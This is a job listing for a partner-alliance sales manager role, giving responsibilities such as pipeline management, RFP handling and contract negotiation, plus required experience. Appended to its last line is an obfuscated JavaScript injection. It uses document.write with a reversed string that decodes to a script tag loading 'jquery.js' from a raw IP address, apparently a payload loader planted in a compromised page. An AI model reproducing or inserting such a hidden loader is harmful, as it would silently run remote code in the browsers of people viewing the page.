Location: 3-2 Sq, PJ
Manage and be the main point of contact for existing alliance partners.
Aggressively drive partners to maximize sales and total partnership potential through sales best practices, training and support.
Manage sales orders and provide status to partners and/or manager.
Communicate masterfully with partners on new products and service offerings.
Create systems and procedures to streamline partner management.
Work with marketing to drive programs and events to extend the relationships to new prospects.
Managing a complex, enterprise solution sale with partners; to include managing the RFP process.
Continually learning about new products and improving selling skills. The CSM is required to attend training events throughout the year and expected to participate in self-paced tutorial learning when appropriate.
Demonstrating industry knowledge especially for related Products
Providing weekly reporting of pipeline and forecast.
Keeping abreast of competition, competitive issues and products.
Attending and participating in sales meetings, product seminars and trade shows.
Preparing written presentations, reports, and price quotations.
Conducting contract negotiations.
Managing sales pipeline of partners.
Defining and executing partner sales plans.
BA or BS degree or equivalent combination of relevant education and experience.
3 – 5 years’ sales experience in the, education, and/or solution software sales industries.
Excellent communication skills (verbal and written).
Ability to manage a pipeline with multiple accounts and partners.
Ability to work in a team environment.
Proven success prospecting, building a pipeline, moving opportunities through the sales cycle; proposing, presenting and discussing solutions with C-level and other decision-makers.
Ability to craft a solution with appropriate products and services that meets business goals based on client discussions. document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))